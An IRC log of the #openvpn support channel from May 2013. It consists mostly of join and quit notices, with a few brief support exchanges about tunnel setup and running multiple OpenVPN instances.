17:00 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
17:00 < dokma> once I removed the stuff from the static key it started working
17:01 < pppingme> but for your "server" example, multiple clients can connect using that same port
17:01 < dokma> I am just starting to understand
17:02 < dokma> now I don't get tun0 on the client
17:03 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
17:05 < dokma> got
17:05 < dokma> I can ping
17:05 < dokma> pppingme, thank you
17:07 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
17:08 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 264 seconds]
17:12 -!- dokma [~dokma@93-138-22-27.adsl.net.t-com.hr] has left #openvpn ["Leaving"]
17:13 -!- qmr_ [~qmr@50.116.18.140] has quit [Read error: Operation timed out]
17:16 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
17:20 -!- p3rror [~p3rror@41.248.108.91] has quit [Ping timeout: 256 seconds]
17:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:27 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
17:32 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
17:34 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 248 seconds]
17:38 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 256 seconds]
17:40 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
17:42 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:53 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
18:01 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
18:02 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
18:03 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
18:05 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
18:06 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 240 seconds]
18:06 -!- Denial- is now known as Denial
18:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
18:14 -!- bitgod [~xan1x@ool-45723276.dyn.optonline.net] has joined #openvpn
18:15 < bitgod> hi
18:15 < bitgod> how does one use openvpn to connect to irc?
18:15 < bitgod> client is up
18:15 < bitgod> free acct
18:20 < bitgod> HELLO
18:31 < EugeneKay> !anybody
18:32 < EugeneKay> !ask
18:32 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
18:32 < EugeneKay> bitgod ^
18:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
18:32 < EugeneKay> "free acct" makes it sound like you're using a commercial service. We don't support those here - only when you're running your own server/client.
18:33 < bitgod> k
18:33 < bitgod> sorry
18:33 < rob0> I saw the question, but have no idea where to begin, nor the time to try to find out. Obviously you're missing a lot.
18:34 -!- bitgod [~xan1x@ool-45723276.dyn.optonline.net] has left #openvpn []
18:34 < rob0> Perhaps what you need to do is to bind your IRC client to the VPN IP address.
18:34 < rob0> haha
18:40 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
19:03 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
19:06 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
19:06 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
19:08 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
19:09 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Read error: Operation timed out]
19:11 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:12 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
19:13 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
19:16 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
19:16 -!- Airwave is now known as Guest39832
19:21 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 246 seconds]
19:21 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
19:25 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
19:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
19:31 <@krzee> one does not connect to irc using openvpn, since openvpn does not know anything about the IRC protocol :D
19:36 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
19:38 < rob0> I considered giving that as an answer, but I was giving him the benefit of the doubt: he might not be that stupid. :)
19:39 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 276 seconds]
19:40 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
19:41 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:49 -!- raidz is now known as raidz_away
20:14 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:20 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 256 seconds]
20:24 -!- brute11k [~brute@89.249.235.79] has quit [Read error: Operation timed out]
20:26 -!- Guest39832 [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Ping timeout: 268 seconds]
20:27 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
20:28 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
20:28 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:28 -!- Airwave is now known as Guest37846
21:04 -!- master_o1_master [~master_of@p4FF242E8.dip0.t-ipconnect.de] has joined #openvpn
21:07 -!- master_of_master [~master_of@p4FF243DA.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
21:36 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
21:40 -!- Guest37846 [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Read error: Operation timed out]
21:45 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
21:45 -!- Airwave is now known as Guest42493
21:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:53 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
22:55 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
23:01 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:20 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
23:21 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
23:25 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
23:31 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
23:32 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
23:39 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
23:40 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:42 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
23:47 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
23:59 -!- gory [gory@creepy.charun.de] has joined #openvpn
--- Day changed Tue May 14 2013
00:01 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
00:05 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
00:08 -!- gory [gory@creepy.charun.de] has joined #openvpn
00:12 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
00:12 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
00:16 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
00:25 -!- gory [gory@creepy.charun.de] has joined #openvpn
00:35 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 246 seconds]
00:35 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
00:40 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
00:42 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 246 seconds]
00:42 -!- xBytez [~xbytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
00:43 -!- xBytez [~xbytez@unaffiliated/xbytez] has joined #openvpn
00:44 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
00:45 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 268 seconds]
00:45 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
00:48 -!- gory [gory@creepy.charun.de] has joined #openvpn
00:53 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
00:57 -!- gory [gory@creepy.charun.de] has joined #openvpn
00:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
01:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:10 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:13 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
01:23 -!- Zenum [~znc@unaffiliated/zenum] has quit [Max SendQ exceeded]
01:26 -!- brute11k1 [~brute@89.249.235.79] has joined #openvpn
01:26 -!- brute11k [~brute@89.249.235.79] has quit [Ping timeout: 256 seconds]
01:30 -!- t35guy [~Andrew@63.142.161.17] has quit [Ping timeout: 264 seconds]
01:35 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
01:35 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Changing host]
01:35 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
01:48 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
01:50 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
01:52 -!- gory [gory@creepy.charun.de] has joined #openvpn
02:01 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:05 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
02:07 -!- gory [gory@creepy.charun.de] has joined #openvpn
02:11 -!- Tera_ is now known as Tera
02:11 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
02:11 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
02:14 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
02:25 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has quit [Ping timeout: 245 seconds]
02:26 -!- gory [gory@creepy.charun.de] has joined #openvpn
02:29 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Quit: Herpa la Derpa]
02:29 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
02:36 -!- tribeca [~tribeca@host66-127-static.55-88-b.business.telecomitalia.it] has joined #openvpn
02:36 < tribeca> hi all
02:38 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
02:39 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
02:40 < tribeca> is possible to configure openvpn as server for network A and client for network B?
02:42 < tribeca> in practice one installation, server and client at the same time
02:44 < EugeneKay> Not in one `openvpn` process, no.
02:49 -!- gory [gory@creepy.charun.de] has joined #openvpn
02:55 -!- WOOOP_ [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has quit [Ping timeout: 252 seconds]
02:55 -!- WOOOP [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has joined #openvpn
03:05 -!- Guest42493 [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Quit: Reconnecting]
03:05 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
03:06 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Client Quit]
03:06 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
03:06 -!- Airwave is now known as Guest9322
03:07 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
03:11 -!- gory [~gory@creepy.charun.de] has joined #openvpn
03:16 -!- gory [~gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
03:17 -!- gory [gory@creepy.charun.de] has joined #openvpn
03:21 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
03:21 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
03:21 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:26 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
03:27 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 246 seconds]
03:28 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:28 -!- gory [gory@creepy.charun.de] has joined #openvpn
03:33 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
03:36 -!- gory [gory@creepy.charun.de] has joined #openvpn
03:37 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:39 < tribeca> EugeneKay: is there a workaround to do that?
03:40 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
03:40 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
03:41 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
03:42 -!- t35guy1 [~Andrew@63.142.161.17] has joined #openvpn
03:44 -!- Guest9322 [~Airwave@94-246-37.45.3p.ntebredband.no] has left #openvpn []
03:44 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
03:48 -!- gory [gory@creepy.charun.de] has joined #openvpn
03:49 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 256 seconds]
03:49 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Ping timeout: 256 seconds]
03:50 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
03:54 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
03:54 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 252 seconds]
03:55 -!- gory [gory@creepy.charun.de] has joined #openvpn
03:59 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
04:01 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
04:03 -!- gory [gory@creepy.charun.de] has joined #openvpn
04:15 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:21 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
04:31 -!- gory [gory@creepy.charun.de] has joined #openvpn
04:50 -!- Dropje_ is now known as Dropje
04:51 -!- t35guy1 [~Andrew@63.142.161.17] has quit [Ping timeout: 256 seconds]
04:56 -!- mndo [~mndo@bl16-34-253.dsl.telepac.pt] has joined #openvpn
05:04 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
05:05 -!- gory [gory@creepy.charun.de] has joined #openvpn
05:17 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
05:17 -!- visionnl_ [~anonymous@tuig.nikhef.nl] has left #openvpn []
05:22 < Poster> tribeca: you can run multiple instances of OpenVPN
05:24 -!- gory [gory@creepy.charun.de] has joined #openvpn
05:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:43 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
05:43 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
05:44 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
05:44 -!- gory [gory@creepy.charun.de] has joined #openvpn
05:48 -!- skroon [~skroon@185.10.51.95] has joined #openvpn
05:49 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
05:53 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
06:02 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
06:02 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
06:04 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
06:04 -!- gory [gory@creepy.charun.de] has joined #openvpn
06:08 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
06:11 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
06:12 -!- gory [gory@creepy.charun.de] has joined #openvpn
06:14 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
06:15 -!- MarKsaitis [~MarKsaiti@194.168.211.114] has joined #openvpn
06:17 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
06:18 -!- gory [gory@creepy.charun.de] has joined #openvpn
06:24 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has quit [Quit: Bye]
06:38 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
06:40 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
06:41 -!- gory [gory@creepy.charun.de] has joined #openvpn
06:43 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:45 -!- Devastator- [~devas@177.18.199.71] has joined #openvpn
06:46 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
06:57 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
07:05 -!- gory [gory@creepy.charun.de] has joined #openvpn
07:06 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
07:07 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
07:09 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
07:09 -!- backjlack_ [~quassel@188.26.41.19] has joined #openvpn
07:11 -!- backjlack_ [~quassel@188.26.41.19] has quit [Remote host closed the connection]
07:11 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
07:12 -!- majuscul1 [~dylan@dylansserver.com] has joined #openvpn
07:13 -!- deever_ [~deever@78.46.68.172] has joined #openvpn
07:14 -!- n2deep_ [n2deep@odin.sdf-eu.org] has joined #openvpn
07:16 -!- Netsplit *.net <-> *.split quits: backjlack, majuscule, n2deep, tjz, Denial, qmr, JackWinter1, deever
07:16 -!- Denial- is now known as Denial
07:16 -!- gory [gory@creepy.charun.de] has joined #openvpn
07:17 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
07:20 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
07:23 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 268 seconds]
07:23 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 247 seconds]
07:24 -!- gory [gory@creepy.charun.de] has joined #openvpn
07:28 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
07:32 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:37 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
07:38 -!- gory [gory@creepy.charun.de] has joined #openvpn
07:42 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
07:43 -!- gory [gory@creepy.charun.de] has joined #openvpn
07:46 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
07:47 -!- Netsplit *.net <-> *.split quits: mikkel_, pppingme
07:48 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
07:53 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
07:53 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
07:54 < tribeca> Poster: tnx
07:55 -!- MarKsaitis [~MarKsaiti@194.168.211.114] has quit [Quit: Leaving]
07:57 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
08:01 -!- gory [gory@creepy.charun.de] has joined #openvpn
08:03 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 256 seconds]
08:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:09 -!- xbanux1 [~xbanux@115.254.75.113] has quit [Ping timeout: 264 seconds]
08:11 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
08:12 -!- mndo [~mndo@bl16-34-253.dsl.telepac.pt] has quit [Ping timeout: 256 seconds]
08:13 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
08:15 -!- gory [gory@creepy.charun.de] has joined #openvpn
08:21 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
08:23 -!- skroon [~skroon@185.10.51.95] has quit [Read error: Connection reset by peer]
08:26 -!- skroon_ [~skroon@185.10.51.95] has joined #openvpn
08:26 -!- gory [gory@creepy.charun.de] has joined #openvpn
08:27 -!- skroon_ [~skroon@185.10.51.95] has left #openvpn []
08:31 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
08:31 -!- gory [gory@creepy.charun.de] has joined #openvpn
08:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 260 seconds]
08:53 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:54 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
08:54 -!- gory [gory@creepy.charun.de] has joined #openvpn
08:59 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 248 seconds]
09:01 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:04 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
09:08 -!- gory [gory@creepy.charun.de] has joined #openvpn
09:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:17 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 264 seconds]
09:23 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
09:23 -!- gory [gory@creepy.charun.de] has joined #openvpn
09:28 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
09:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
09:36 -!- Netsplit *.net <-> *.split quits: nutron, _mnathani_, Cr4zi3, soapee01_
09:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
09:36 -!- mode/#openvpn [+o vpnHelper] by ChanServ
09:37 -!- kisom_ [~kisom@kisom.thr.kth.se] has joined #openvpn
09:37 -!- feth_ [foobar@ile-flottante.tuttu.info] has joined #openvpn
09:37 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
09:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:40 -!- RealRancor_ [~Rancor@prielwurmjaeger.de] has joined #openvpn
09:41 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
09:41 -!- cnfer [V5zEUTcqob@unaffiliated/cnf] has joined #openvpn
09:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:42 -!- Netsplit *.net <-> *.split quits: Masxmasx, feth, kisom, jtrucks, RealRancor, MeanderingCode, cnf, tekzilla_
09:42 -!- cnfer is now known as cnf
09:43 -!- tekzilla [~jon@24.134.142.157] has joined #openvpn
09:44 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 260 seconds]
09:45 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
09:46 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
09:49 -!- gory [gory@creepy.charun.de] has joined #openvpn
09:49 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
09:49 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
09:51 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
09:52 -!- feth_ is now known as feth
09:54 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
09:55 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
09:56 -!- gory [gory@creepy.charun.de] has joined #openvpn
10:02 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
10:03 -!- gory [gory@creepy.charun.de] has joined #openvpn
10:07 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
10:08 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:09 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
10:09 -!- jtrucks_ is now known as jtrucks
10:09 -!- gory [gory@creepy.charun.de] has joined #openvpn
10:10 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 240 seconds]
10:11 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:11 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
10:16 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
10:18 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:18 -!- stephanj [stephan@nemesis.stejau.de] has joined #openvpn
10:18 -!- stephanj [stephan@nemesis.stejau.de] has quit [Changing host]
10:18 -!- stephanj [stephan@opennic/stephan] has joined #openvpn
10:19 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
10:19 -!- master_of_master [~master_of@p4FF242E8.dip0.t-ipconnect.de] has joined #openvpn
10:19 -!- raidz_away is now known as raidz
10:19 -!- Netsplit *.net <-> *.split quits: Cr4zi3
10:20 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
10:23 -!- i7c- [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
10:23 -!- Netsplit *.net <-> *.split quits: master_o1_master, zeshoem, Drone4four, stephan48, i7c, jtrucks, Martin`, qmr_, Zenum
10:24 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Read error: No buffer space available]
10:24 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
10:24 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
10:29 -!- gory [gory@creepy.charun.de] has joined #openvpn
10:32 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:32 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Excess Flood]
10:33 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
10:33 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
10:33 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
10:37 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
10:38 -!- gory [gory@creepy.charun.de] has joined #openvpn
10:38 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Max SendQ exceeded]
10:39 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
10:41 -!- brute11k1 [~brute@89.249.235.79] has quit [Ping timeout: 246 seconds]
10:43 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 245 seconds]
10:44 -!- gory [gory@creepy.charun.de] has joined #openvpn
10:44 -!- majuscul1 is now known as majuscule
10:49 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
10:49 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
10:51 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:51 -!- mode/#openvpn [+v s7r] by ChanServ
10:52 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
11:00 -!- gory [gory@creepy.charun.de] has quit [Ping timeout: 246 seconds]
11:01 -!- tribeca [~tribeca@host66-127-static.55-88-b.business.telecomitalia.it] has quit [Quit: ciao]
11:07 -!- brute11k [~brute@89.249.235.79] has joined #openvpn
